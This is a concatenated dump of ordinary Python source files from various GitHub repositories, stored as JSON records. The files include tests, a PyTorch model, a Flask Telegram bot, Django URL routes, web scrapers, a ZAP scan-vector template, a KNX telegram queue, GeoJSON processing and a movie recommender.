import InvalidRequestObject\nfrom meme_bot.shared.response import ResponseFailure, ResponseSuccess\nfrom meme_bot.use_cases.post_message import PostMessageUseCase\n\n\ndef test_post_message_uc_fail():\n uc = PostMessageUseCase()\n ro = InvalidRequestObject()\n res = uc.execute(ro)\n assert isinstance(res, ResponseFailure)\n\n\ndef test_post_message_uc_success():\n uc = PostMessageUseCase()\n ro = PostMessageRequestObject.from_dict(\n {\"channel\": \"#my-channel\", \"message\": \"hello, world!\"}\n )\n res = uc.execute(ro)\n assert isinstance(res, ResponseSuccess)\n","repo_name":"yoophi/meme-bot","sub_path":"tests/use_cases/test_post_message_uc.py","file_name":"test_post_message_uc.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34587950508","text":"import torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence as pack\nfrom torch.nn.utils.rnn import pad_packed_sequence as unpack\n\n\ntorch.manual_seed(1)\n\n\nclass NRE(nn.Module):\n\n def __init__(self, embedding_dim, hidden_dim, vocab_size, tagset_size,\n pretrained_emb=None, freeze_emb=False):\n \"\"\"constructor of the relation classifier.\n\n Parameters:\n embeddings_dim (int): Dimension size of the look up table.\n hidden_dim (int): Dimension size of hidden reps in the RNN.\n vocab_size (int): Vocabulary size.\n tagset_size (int): Number of target classes.\n pretrained_emb (torch.Tensor): Loaded tensor of word embeddings.\n freeze_emb (bool): The flag to freeze word embeddings weights.\n Returns:\n Variable: log softmax values for each class\n \"\"\"\n super(NRE, self).__init__()\n\n self.embedding_dim = embedding_dim\n self.hidden_dim = hidden_dim\n self.vocab_size = vocab_size\n self.tagset_size = tagset_size\n\n self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n\n if pretrained_emb is not None:\n self.word_embeddings.weight = nn.Parameter(pretrained_emb)\n\n # Whether or not to freeze the pretrained embeddings\n if freeze_emb:\n self.word_embeddings.weight.requires_grad = False\n\n self.dropout = nn.Dropout(0.5)\n\n self.lstm = nn.LSTM(embedding_dim, hidden_dim, bidirectional=True,\n batch_first=True)\n\n self.fc = nn.Linear(2*hidden_dim, hidden_dim)\n # The linear layer that maps from hidden state space to tag space\n self.feat2tag = nn.Linear(2*hidden_dim, tagset_size)\n\n # self.hidden = self.init_hidden()\n\n # def init_hidden(self):\n # return (autograd.Variable(torch.zeros(1, 1, self.hidden_dim)),\n # autograd.Variable(torch.zeros(1, 1, self.hidden_dim)))\n\n def forward(self, ps, p_lengths, cs, c_lengths):\n\n batch_size = len(p_lengths)\n\n p_emb = self.dropout(self.word_embeddings(ps))\n c_emb = self.dropout(self.word_embeddings(cs))\n\n sorted_p_lens, sorted_p_idx = torch.sort(p_lengths, descending=True)\n _, unsort_p_idx = torch.sort(sorted_p_idx)\n packed_p_emb = pack(p_emb[sorted_p_idx],\n lengths=sorted_p_lens.data.int().tolist(),\n batch_first=True)\n\n sorted_c_lens, sorted_c_idx = torch.sort(c_lengths, descending=True)\n _, unsort_c_idx = torch.sort(sorted_c_idx)\n packed_c_emb = pack(c_emb[sorted_c_idx],\n lengths=sorted_c_lens.data.int().tolist(),\n batch_first=True)\n\n # Last hidden state: 2 x B x hidden\n _, (p_hn, _) = self.lstm(packed_p_emb)\n _, (c_hn, _) = self.lstm(packed_c_emb)\n\n # Concatenated last hidden state\n p_hn = p_hn.transpose(0, 1).contiguous().view(batch_size, -1)\n c_hn = c_hn.transpose(0, 1).contiguous().view(batch_size, -1)\n\n # Unsort\n p_hn = p_hn[unsort_p_idx]\n c_hn = c_hn[unsort_c_idx]\n\n # Squeeze the dimension back to original hidden_dim\n p_hn = self.fc(p_hn)\n c_hn = self.fc(c_hn)\n\n features = torch.cat((p_hn, c_hn), dim=1)\n # features = p_hn + c_hn\n scores = self.feat2tag(features)\n\n return scores\n","repo_name":"ramakumar1729/NN4NLP","sub_path":"src/NRE/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"11202120784","text":"from flask import Flask, request\r\nimport telebot\r\n\r\napp = Flask(__name__)\r\n\r\nbot = telebot.TeleBot(\"Your_Bot_Token\")\r\n\r\n@app.route('/bot_webhook', methods=['POST'])\r\ndef bot_webhook():\r\n bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode('utf-8'))])\r\n return 'OK'\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n return \"I'm Alive\"\r\n\r\n@app.route('/set_app', methods=['GET'])\r\ndef set_app():\r\n bot.remove_webhook()\r\n bot.set_webhook(\"https://\" + request.host + \"/bot_webhook\")\r\n return 'Done'\r\n\r\n\r\n@bot.message_handler()\r\ndef Myfunc(message):\r\n bot.send_message(message.chat.id, \"Hi, What's happend?\")\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(port=8000, host='0.0.0.0')\r\n","repo_name":"aamya2003/Upload_file_webhook","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24677471881","text":"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views # import this\n\nurlpatterns = [\n path(\"\", views.ehome, name=\"ehome\"),\n path(\"mhome\", views.mhome, name=\"mhome\"),\n path(\"login\", views.login_user, name=\"login\"),\n path(\"ehome\", views.ehome, name=\"ehome\"),\n path(\"leave\", views.leave, name=\"leave\"),\n path(\"logout\", views.logoutPage, name=\"logout\"),\n path(\"leave_history\", views.leave_history, name=\"leave_history\"),\n path(\"profile\", views.profile, name=\"profile\"),\n path(\"manager_dash\", views.manager_dash, name=\"manager_dash\"),\n path(\n \"manager_leaveapproval\",\n views.manager_leaveapproval,\n name=\"manager_leaveapproval\",\n ),\n path(\"manageraddemp\", views.manageraddemp, name=\"manageraddemp\"),\n path(\"teams\", views.teams, name=\"teams\"),\n path(\"mhome\", views.mhome, name=\"mhome\"),\n path(\"approve/\", views.approve, name=\"approve\"),\n path(\"reject/\", views.reject, name=\"reject\"),\n]\n\nurlpatterns += [\n path(\"password_reset\", views.password_reset_request, name=\"password_reset\"),\n]\n\n# urlpatterns += [\n# path(\"forgot_password\", views.forgot_password, name=\"forgot_password\"),\n# path(\"reset_password/\", views.reset_password, name=\"reset_password\"),\n# ]\n\nurlpatterns += [\n path(\"add_employee\", views.add_employee, name=\"add_employee\"),\n]\n\nurlpatterns += [\n path(\"roster/\", views.roster, name=\"roster\"),\n]\n","repo_name":"niraj1920-cloud/Leavemgt","sub_path":"firstproject/myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"19336119114","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom textblob import TextBlob\nimport trafilatura\nimport json\nimport spacy\nfrom requests.models import MissingSchema\nimport numpy as np\ndef ExtractTitle(url):\n page = requests.get(url).text\n soup = BeautifulSoup(page, 'lxml')\n paras = soup.findAll('title')\n content = \" \"\n for ele in paras:\n content = content + (ele.text)\n return content\n\ndef FallbackFunction(response_content):\n\n soup = BeautifulSoup(response_content, 'html.parser')\n\n # Finding the text:\n text = soup.find_all(text=True)\n\n # Remove unwanted tag elements:\n cleaned_text = ''\n blacklist = [\n '[document]',\n 'noscript',\n 'header',\n 'html',\n 'meta',\n 'head',\n 'input',\n 'script',\n 'style',]\n\n for item in text:\n if item.parent.name not in blacklist:\n cleaned_text += '{} '.format(item)\n\n # removing tabs and end of lines\n cleaned_text = cleaned_text.replace('\\t', '')\n cleaned_text = cleaned_text.replace('\\n', '')\n cleaned_text = cleaned_text.replace('\\r', '')\n\n return cleaned_text.strip()\n\n\ndef ExtractText(url):\n\n downloaded_url = trafilatura.fetch_url(url)\n try:\n a = trafilatura.extract(downloaded_url, output_format='json', with_metadata=True, include_comments = False,\n date_extraction_params={'extensive_search': True, 'original_date': True})\n except AttributeError:\n a = trafilatura.extract(downloaded_url, output_format='json', with_metadata=True,\n date_extraction_params={'extensive_search': True, 'original_date': True})\n if a:\n json_output = json.loads(a)\n return json_output['text']\n else:\n try:\n resp = requests.get(url)\n if resp.status_code == 200:\n return FallbackFunction(resp.content)\n else:\n\n return np.nan\n except MissingSchema:\n return np.nan\n","repo_name":"kuna71/NEWS-SCRAPING-MODULE","sub_path":"FeatureExtractor.py","file_name":"FeatureExtractor.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"3447378404","text":"\"\"\"A script that provides custom input vectors that can be used during active\nscans.\n\nThe option Enable Script Input Vectors must be enabled before starting the\nscans.\nNote that new scripts will initially be disabled, right click the script in the\nScripts tree and select Enable Script.\n\"\"\"\nimport urllib\n\n\ndef parseParameters(helper, msg):\n \"\"\"Parses/extracts the parameters from the HTTP message (request), to be\n later tested by the scanners.\n\n Args:\n helper (VariantCustom): Helper class that provides functions to add new\n parameters and process its values.\n msg (HttpMessage): The HTTP message (request) that will be scanned.\n\n \"\"\"\n # Extract the attributes of a custom header...\n header = msg.getRequestHeader().getHeader('My-Custom-Header')\n if not header:\n return\n\n attributes = header.strip().split(';')\n for attribute in attributes:\n attribute = attribute.strip()\n if not attribute:\n continue\n data = attribute.split('=')\n name = data[0]\n value = urllib.unquote(data[1])\n helper.addParamHeader(name, value)\n\n\ndef setParameter(helper, msg, param, value, escaped):\n \"\"\"Sets the new value (attack) of a parameter, called by the scanners\n during the active scan.\n\n Args:\n helper (VariantCustom): Helper class that provides functions to get the\n parameters and process its values.\n msg (HttpMessage): The HTTP message where the value should be injected.\n param (String): The name of the parameter.\n value (String): The value to inject.\n escaped (bool): True if the value is already escaped, False otherwise.\n\n \"\"\"\n # Rebuild the header with the attack...\n header = ''\n for parameter in helper.getParamList():\n header += parameter.getName() + '='\n if parameter.getName() == param:\n header += urllib.quote(value)\n else:\n header += parameter.getValue()\n header += '; '\n\n msg.getRequestHeader().setHeader('My-Custom-Header', header)\n","repo_name":"zaproxy/zap-extensions","sub_path":"addOns/jython/src/main/zapHomeFiles/scripts/templates/variant/Input Vector default template.py","file_name":"Input Vector default template.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":768,"dataset":"github-code","pt":"39"} +{"seq_id":"28578343105","text":"from os.path import exists\nfrom zipfile import ZipFile\nimport requests\nimport pandas as pd\n\nprint(\"Atualizando empresas com cadastro na CVM\")\n\n# obter dados da cvm\nurl = \"http://dados.cvm.gov.br/dados/CIA_ABERTA/DOC/FCA/DADOS/\"\narquivo = pd.read_html(url, parse_dates = [\"Last modified\"], attrs = {'id': 'indexlist'})\narquivo = arquivo[0]['Name']\narquivo = arquivo.dropna()\narquivo = arquivo.iloc[-1]\n\nr = requests.get(url + arquivo)\nwith open(\"dados/\" + arquivo, 'wb') as output_file:\n output_file.write(r.content)\n\nano = arquivo.rsplit(\"_\", 1)[1].split(\".\")[0]\nmyzip = ZipFile(\"dados/\" + arquivo, 'r')\ndata1 = myzip.open(\"fca_cia_aberta_geral_\" + ano + \".csv\")\ndata2 = myzip.open(\"fca_cia_aberta_valor_mobiliario_\" + ano + \".csv\")\nmyzip.close()\n\ndata1 = pd.read_csv(data1, sep=\";\", encoding=\"mbcs\", header=0)\ndata2 = pd.read_csv(data2, sep=\";\", encoding=\"mbcs\", header=0)\n\n# filtrar e mesclar os dados\ndf1 = data1[['CNPJ_Companhia', 'Nome_Empresarial','Codigo_CVM','Setor_Atividade','Descricao_Atividade','Pagina_Web']]\n\ndf2 = data2[['CNPJ_Companhia','Valor_Mobiliario','Codigo_Negociacao','Mercado','Data_Fim_Negociacao','Data_Fim_Listagem']]\ndf2 = df2.loc[df2.Valor_Mobiliario.isin(['Ações Ordinárias','Ações Preferenciais','Units']) & \n ((df2.Mercado == \"Bolsa\") | (df2.Mercado.isna())) & \n df2.Data_Fim_Negociacao.isna() & df2.Data_Fim_Listagem.isna()]\ndf2['Codigo_Negociacao'] = df2['Codigo_Negociacao'].str.upper().astype(str)\ndf2 = df2.groupby(['CNPJ_Companhia'])['Codigo_Negociacao'].apply(' '.join).reset_index()\n\ndados = df1.merge(df2, on=\"CNPJ_Companhia\")\ndados.Nome_Empresarial = dados.Nome_Empresarial.str.replace(' S.A.', '')\ndados.Nome_Empresarial = dados.Nome_Empresarial.str.replace(' S/A', '')\ndados.Nome_Empresarial = dados.Nome_Empresarial.str.replace('BCO', 'BANCO')\ndados = dados[['Codigo_CVM','Codigo_Negociacao','Nome_Empresarial','Setor_Atividade',\n 'CNPJ_Companhia','Pagina_Web','Descricao_Atividade']]\n\n# salvar arquivo\nif exists('dados_companhia.csv'):\n dados_old = pd.read_csv('dados_companhia.csv', sep=';', encoding=\"mbcs\", header=0)\n dados_new = dados.loc[~dados.Codigo_CVM.isin(dados_old.Codigo_CVM)]\n nrows = dados_new.shape[0]\n if nrows == 0:\n print(\"Nenhum novo registro encontrado.\")\n else:\n dados_new.to_csv('dados_companhia.csv', sep=';', encoding=\"mbcs\", header=False, index=False, mode=\"a\")\n print(\"'dados_companhia.csv' atualizado com \" + str(nrows) + \" registros.\")\nelse:\n dados.to_csv('dados_companhia.csv', sep=';', encoding=\"mbcs\", index=False)\n print(\"Arquivo 'dados_companhia.csv' Salvo.\")\n\n\n#############################\n# obter as listagens de bancos\nprint(\"Atualizando cadastro dos bancos\")\n\n# Pegar Bancos com código na bolsa\ndados_bancos = pd.read_csv('dados_companhia.csv', sep=';', encoding=\"mbcs\", header=0)\ndados_bancos = dados_bancos.loc[(dados_bancos.Codigo_Negociacao.str[-2:] != \"3B\") & (dados_bancos.Setor_Atividade == \"Bancos\"), \\\n ['Codigo_CVM','Nome_Empresarial','CNPJ_Companhia']].copy()\ndados_bancos['CNPJ_Companhia'] = dados_bancos.CNPJ_Companhia.str.split('/').str[0].str.replace('.','',regex=False)\n\n\n# obter códigos dos banco na banco central\nda = pd.Timestamp.now()\ndataref = \"{:4d}{:02d}\".format(da.year, (da.month//3)*3)\n\nurl = \"https://olinda.bcb.gov.br/olinda/servico/IFDATA/versao/v1/odata/IfDataCadastro(AnoMes=@AnoMes)?@AnoMes=\" \\\n + dataref +\"&$filter=Situacao%20eq%20'A'&$format=json&$select=CodInst,CodConglomeradoFinanceiro,CodConglomeradoPrudencial\"\n\nresponse = requests.get(url).json()\ncod_bancos = pd.DataFrame(response['value'])\n\n# mesclar e salvar as informcoes\ndados_bancos = dados_bancos.merge(cod_bancos, left_on='CNPJ_Companhia', right_on='CodInst')\ndados_bancos['CodIF_F'] = dados_bancos.CodConglomeradoFinanceiro.str[3:]\ndados_bancos['CodIF_P'] = dados_bancos.CodConglomeradoPrudencial.str.replace('C','100',regex=False)\ndados_bancos.drop(columns=['CodInst','CodConglomeradoFinanceiro','CodConglomeradoPrudencial'], inplace=True)\n\nif exists('dados_bco.csv'):\n dados_bancos_old = pd.read_csv('dados_bco.csv', sep=';', encoding=\"mbcs\", header=0)\n dados_bancos_new = dados_bancos.loc[~dados_bancos.Codigo_CVM.isin(dados_bancos_old.Codigo_CVM)]\n nrows = dados_bancos_new.shape[0]\n if nrows > 0:\n dados_bancos_new.to_csv('dados_bco.csv', sep=';', encoding=\"mbcs\", header=False, index=False, mode=\"a\")\n print(\"'dados_bco.csv' atualizado com \" + str(nrows) + \" registros.\")\nelse:\n dados_bancos.to_csv('dados_bco.csv', sep=';', encoding=\"mbcs\", index=False)\n print(\"Arquivo 'dados_bco.csv' Salvo.\")\n\nprint(\"Finalizado\")\n","repo_name":"correapvf/fundamentos","sub_path":"atualizar_listagem.py","file_name":"atualizar_listagem.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"23728251431","text":"\"\"\"\nModule for queing telegrams.\n\nWhen a device wants to sends a telegram to the KNX bus, it has to queue it to the TelegramQueue within XKNX.\n\nThe underlaying KNXIPInterface will poll the queue and send the packets to the correct KNX/IP abstraction (Tunneling or Routing).\n\nYou may register callbacks to be notified if a telegram was pushed to the queue.\n\"\"\"\nimport asyncio\nimport logging\n\nfrom xknx.exceptions import CommunicationError, XKNXException\nfrom xknx.telegram import TelegramDirection\nfrom xknx.telegram.apci import GroupValueWrite\n\nlogger = logging.getLogger(\"xknx.log\")\ntelegram_logger = logging.getLogger(\"xknx.telegram\")\n\n\nclass TelegramQueue:\n \"\"\"Class for telegram queue.\"\"\"\n\n class Callback:\n \"\"\"Callback class for handling telegram received callbacks.\"\"\"\n\n # pylint: disable=too-few-public-methods\n\n def __init__(self, callback, address_filters=None):\n \"\"\"Initialize Callback class.\"\"\"\n self.callback = callback\n self.address_filters = address_filters\n\n def is_within_filter(self, telegram):\n \"\"\"Test if callback is filtering for group address.\"\"\"\n if self.address_filters is None:\n return True\n for address_filter in self.address_filters:\n if address_filter.match(telegram.destination_address):\n return True\n return False\n\n def __init__(self, xknx):\n \"\"\"Initialize TelegramQueue class.\"\"\"\n self.xknx = xknx\n self.telegram_received_cbs = []\n self.outgoing_queue = asyncio.Queue()\n self._consumer_task = None\n\n def register_telegram_received_cb(self, telegram_received_cb, address_filters=None):\n \"\"\"Register callback for a telegram beeing received from KNX bus.\"\"\"\n callback = TelegramQueue.Callback(telegram_received_cb, address_filters)\n self.telegram_received_cbs.append(callback)\n return callback\n\n def unregister_telegram_received_cb(self, telegram_received_cb):\n \"\"\"Unregister callback for a telegram beeing received from KNX bus.\"\"\"\n self.telegram_received_cbs.remove(telegram_received_cb)\n\n async def start(self):\n \"\"\"Start telegram queue.\"\"\"\n self._consumer_task = asyncio.gather(\n self._telegram_consumer(), self._outgoing_rate_limiter()\n )\n\n async def stop(self):\n \"\"\"Stop telegram queue.\"\"\"\n logger.debug(\"Stopping TelegramQueue\")\n # If a None object is pushed to the queue, the queue stops\n await self.xknx.telegrams.put(None)\n await self._consumer_task\n\n async def _telegram_consumer(self):\n \"\"\"Endless loop for processing telegrams.\"\"\"\n while True:\n telegram = await self.xknx.telegrams.get()\n # Breaking up queue if None is pushed to the queue\n if telegram is None:\n self.outgoing_queue.put_nowait(None)\n await self.outgoing_queue.join()\n self.xknx.telegrams.task_done()\n break\n\n try:\n if telegram.direction == TelegramDirection.INCOMING:\n await self.process_telegram_incoming(telegram)\n self.xknx.telegrams.task_done()\n elif telegram.direction == TelegramDirection.OUTGOING:\n self.outgoing_queue.put_nowait(telegram)\n # self.xknx.telegrams.task_done() for outgoing is called in _outgoing_rate_limiter.\n except XKNXException as ex:\n logger.error(\"Error while processing telegram %s\", ex)\n\n async def _outgoing_rate_limiter(self):\n \"\"\"Endless loop for processing outgoing telegrams.\"\"\"\n while True:\n telegram = await self.outgoing_queue.get()\n # Breaking up queue if None is pushed to the queue\n if telegram is None:\n self.outgoing_queue.task_done()\n break\n\n try:\n await self.process_telegram_outgoing(telegram)\n except CommunicationError as ex:\n if ex.should_log:\n logger.warning(ex)\n except XKNXException as ex:\n logger.error(\"Error while processing outgoing telegram %s\", ex)\n finally:\n self.outgoing_queue.task_done()\n self.xknx.telegrams.task_done()\n\n # limit rate to knx bus - defaults to 20 per second\n if self.xknx.rate_limit:\n await asyncio.sleep(1 / self.xknx.rate_limit)\n\n async def _process_all_telegrams(self):\n \"\"\"Process all telegrams being queued. Used in unit tests.\"\"\"\n while not self.xknx.telegrams.empty():\n try:\n telegram = self.xknx.telegrams.get_nowait()\n if telegram.direction == TelegramDirection.INCOMING:\n await self.process_telegram_incoming(telegram)\n elif telegram.direction == TelegramDirection.OUTGOING:\n await self.process_telegram_outgoing(telegram)\n except XKNXException as ex:\n logger.error(\"Error while processing telegram %s\", ex)\n finally:\n self.xknx.telegrams.task_done()\n\n async def process_telegram_outgoing(self, telegram):\n \"\"\"Process outgoing telegram.\"\"\"\n telegram_logger.debug(telegram)\n if self.xknx.knxip_interface is not None:\n await self.xknx.knxip_interface.send_telegram(telegram)\n if isinstance(telegram.payload, GroupValueWrite):\n await self.xknx.devices.process(telegram)\n else:\n logger.warning(\"No KNXIP interface defined\")\n\n async def process_telegram_incoming(self, telegram):\n \"\"\"Process incoming telegram.\"\"\"\n telegram_logger.debug(telegram)\n for telegram_received_cb in self.telegram_received_cbs:\n if telegram_received_cb.is_within_filter(telegram):\n await telegram_received_cb.callback(telegram)\n await self.xknx.devices.process(telegram)\n","repo_name":"buergi/xknx","sub_path":"xknx/core/telegram_queue.py","file_name":"telegram_queue.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"39"} +{"seq_id":"75073358192","text":"import os\nimport csv\nimport numpy as np\nfrom scipy import stats\nimport math\nimport pickle as pkl\n\ndef get_data(csv_path):\n data = list()\n\n with open(csv_path) as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n next(reader)\n for density,error in reader:\n data.append([float(density),float(error)])\n\n return np.array(data)\n\nif __name__ == '__main__':\n\n mode = 'train'\n\n dataset = pkl.load(open(f'../../{mode}/dataset_{mode}.pkl', 'rb'))\n density_data = pkl.load(open(f'../../{mode}/coverage_{mode}.pkl', 'rb'))\n\n if mode == 'test':\n csv_path = f'plots_{mode}/coverage_error.csv'\n\n data = get_data(csv_path)\n\n bin_means, bin_edges, binnumber = stats.binned_statistic(np.array(data)[...,0],\n np.array(data)[...,1], statistic='mean', bins=50, range=(0,1))\n\n np.savetxt(f'plots_{mode}/coverage_error_hist.csv',\n [(float(edge), float(val) if not math.isnan(val) else 0.0) for edge, val in zip(bin_edges[1:], bin_means)],\n delimiter=',', fmt='%s')\n\n density_speed = list()\n\n for (filename, speed) in dataset.values():\n key = filename[:17]\n\n density = density_data[filename]\n\n density_speed.append((density, speed))\n\n bin_means, bin_edges, bin_number = stats.binned_statistic(np.array(density_speed)[...,1],\n np.array(density_speed)[...,0], statistic='mean', bins=90, range=(0,45))\n\n num_in_bins = [list(bin_number).count(i) for i in range(1,len(bin_edges))]\n\n for i, num in enumerate(num_in_bins):\n if num < 30:\n bin_means[i-1] = 0\n\n np.savetxt(f'plots_{mode}/density_speed_hist_(min_num).csv',\n [(float(edge), float(val) if not math.isnan(val) else 0.0) for edge, val in zip(bin_edges[1:], bin_means)], delimiter=',', fmt='%s')\n","repo_name":"SSutherlandDeeBristol/speed-detection","sub_path":"scripts/density_analysis.py","file_name":"density_analysis.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"39"} +{"seq_id":"29850567754","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nimport time\r\nimport joblib\r\n\r\nstart = time.time()\r\n\r\n# Step 1: Read the CSV file\r\ncsv_file = 'action_cmt_vector_update.csv'\r\ndf = pd.read_csv(csv_file)\r\n\r\n# Step 2: Get user input for idmovie\r\ninput_idmovie = 3 # Replace with the desired idmovie\r\n\r\n# Step 3: Filter the DataFrame to get all rows with the same idmovie\r\nfiltered_df = df[df['idmovie'] == input_idmovie]\r\n\r\nfeature_vectors = filtered_df.iloc[:, 4:].values\r\n\r\n# Load the pre-trained SVD model\r\nsvd_model_filename = 'svd_model.pkl'\r\nsvd = joblib.load(svd_model_filename)\r\n\r\n# Step 4: Transform feature vectors using the pre-trained SVD model\r\nsvd_vectors = svd.transform(feature_vectors)\r\n\r\n# Step 5: Calculate the mean SVD feature vector for the input idmovie\r\nmean_svd_feature_vector = svd_vectors.mean(axis=0)\r\n\r\n# Step 6: Find all unique idmovie values that are not the same as the input\r\nunique_idmovies = df['idmovie'].unique()\r\nunique_idmovies = unique_idmovies[unique_idmovies != input_idmovie]\r\n\r\n# Step 7: Calculate the mean SVD feature vector for each unique idmovie\r\nmean_svd_feature_vectors = []\r\nmovie_feature_dict = {}\r\nfor idmovie in unique_idmovies:\r\n movie_df = df[df['idmovie'] == idmovie]\r\n movie_feature_vectors = movie_df.iloc[:, 4:].values\r\n movie_svd_vectors = svd.transform(movie_feature_vectors)\r\n mean_movie_svd_feature_vector = movie_svd_vectors.mean(axis=0)\r\n mean_svd_feature_vectors.append(mean_movie_svd_feature_vector)\r\n movie_feature_dict[idmovie] = mean_movie_svd_feature_vector\r\n\r\n# Step 8: Calculate cosine similarity between the input mean_svd_feature_vector\r\n# and all other mean_svd_feature_vectors\r\ncosine_similarities = cosine_similarity([mean_svd_feature_vector], mean_svd_feature_vectors)\r\n\r\n# Step 9: Print the top 10 movies with the highest cosine similarity\r\nsorted_movies = sorted(unique_idmovies, key=lambda idmovie: cosine_similarities[0][unique_idmovies.tolist().index(idmovie)], reverse=True)[:10]\r\n\r\nfilm_csv_file = 'test1.csv'\r\nfilm_df = pd.read_csv(film_csv_file)\r\nwatching_movie = film_df.loc[film_df['idmovie'] == input_idmovie]['filmname'].values[0]\r\n\r\nprint(\"id movie\", input_idmovie, \" movie watching \", watching_movie)\r\nprint()\r\nprint(\"Top 10 similar movies: (svd-model)\")\r\nfor idmovie in sorted_movies:\r\n distance = cosine_similarities[0][unique_idmovies.tolist().index(idmovie)]\r\n movie_name = film_df.loc[film_df['idmovie'] == idmovie]['filmname'].values[0]\r\n print(f\"{idmovie}\", end=' ')\r\n\r\nend = time.time()\r\nprint(\"time: \", end - start)\r\n","repo_name":"inanitynoupcase/Dataset-stuff","sub_path":"AICC/modeltest.py","file_name":"modeltest.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"9929904499","text":"\nimport json\nimport copy\nfrom shapely.geometry import shape, GeometryCollection, Point\nimport pathlib\n\n\n\n\ntemp = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {\n \"ADMIN\": \"-\",\n \"id\": \"-\"\n },\n \"geometry\": {\n \"type\": \"MultiPolygon\",\n \"coordinates\": [\n ]\n }\n }\n ]\n}\n\n\n\n\n\nareas = {'FRA-EURO':copy.deepcopy(temp), 'NLD-EURO':copy.deepcopy(temp), 'NOR-EURO':copy.deepcopy(temp), 'PRT-EURO':copy.deepcopy(temp)}\n\nareas['FRA-EURO']['features'][0]['properties']['ADMIN'] = 'France mainland'\nareas['NLD-EURO']['features'][0]['properties']['ADMIN'] = 'Netherlands mainland'\nareas['NOR-EURO']['features'][0]['properties']['ADMIN'] = 'Norway mainland'\nareas['PRT-EURO']['features'][0]['properties']['ADMIN'] = 'Portugal mainland'\n\n\nareas['FRA-EURO']['features'][0]['properties']['id'] = 'FRA-EURO'\nareas['NLD-EURO']['features'][0]['properties']['id'] = 'NLD-EURO'\nareas['NOR-EURO']['features'][0]['properties']['id'] = 'NOR-EURO'\nareas['PRT-EURO']['features'][0]['properties']['id'] = 'PRT-EURO'\n\n\n\n\ndir = str(pathlib.Path(__file__).parent.absolute()) + '/'\npolygons = []\n\n\nwith open(dir + 'FRA.geo.json', 'r') as f:\n mainfile = json.load(f)\nfor polygon in mainfile['features'][0]['geometry']['coordinates']:\n polygons.append(polygon)\n\nwith open(dir + 'NLD.geo.json', 'r') as f:\n mainfile = json.load(f)\nfor polygon in mainfile['features'][0]['geometry']['coordinates']:\n polygons.append(polygon)\n\nwith open(dir + 'NOR.geo.json', 'r') as f:\n mainfile = json.load(f)\nfor polygon in mainfile['features'][0]['geometry']['coordinates']:\n polygons.append(polygon)\n\nwith open(dir + 'PRT.geo.json', 'r') as f:\n mainfile = json.load(f)\nfor polygon in mainfile['features'][0]['geometry']['coordinates']:\n polygons.append(polygon)\n\n\nloc = None\n\n\nfor polygon in polygons:\n firstpoint = polygon[0][0]\n lon = firstpoint[0]\n lat = firstpoint[1]\n\n if lat < 42.4 and lat > 36 and lon > -11 and lon < -5:\n loc = 'PRT'\n elif lat > 56 and lon > 3:\n loc = 'NOR'\n elif lat > 50.73 and lon > 3.3 and lat < 54 and lon < 8:\n loc = 'NLD'\n elif lat < 51.2 and lat > 41.28 and lon > -6:\n loc = 'FRA'\n else:\n continue\n areas[loc + '-EURO']['features'][0]['geometry']['coordinates'].append(polygon)\n\n\nfor area in areas:\n name = areas[area]['features'][0]['properties']['id']\n with open(dir + name + '.geo.json', 'w') as outfile:\n json.dump(areas[area], outfile)\n\n\n","repo_name":"Unusuala1l2e3x4/Research-Spring2021","sub_path":"code/shapefiles/geo-countries/edits for GFED/FRA-NLD-NOR-PRT/sep_FRA-NLD-NOR-PRT_from_EURO.py","file_name":"sep_FRA-NLD-NOR-PRT_from_EURO.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"39"} +{"seq_id":"1295634023","text":"print('Level 1 - Find the duplicates in a Python Tuple')\n\n\ndef countOnes(tupleToCount, searchItem):\n count = 0\n for t in tup:\n if t == searchItem:\n count += 1\n print(f'The number {searchItem} shows up {count} times in this tuple')\n\n\ntup = (1, 1, 2, 3, 4, 1, 5, 6, 7, 1)\n\ncountOnes(tup, 1)\n","repo_name":"likwidoxigen/HTCWChallenges","sub_path":"HTCW-CC-Aug2020/Level1.py","file_name":"Level1.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"7718963976","text":"import copy\nimport numpy\nimport os\nimport re\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\n# Mantid\nfrom mantid.api import AnalysisDataService as ADS\nfrom mantid.dataobjects import EventWorkspace, TableWorkspace, Workspace2D\nfrom mantid.simpleapi import CloneWorkspace, CreateWorkspace, 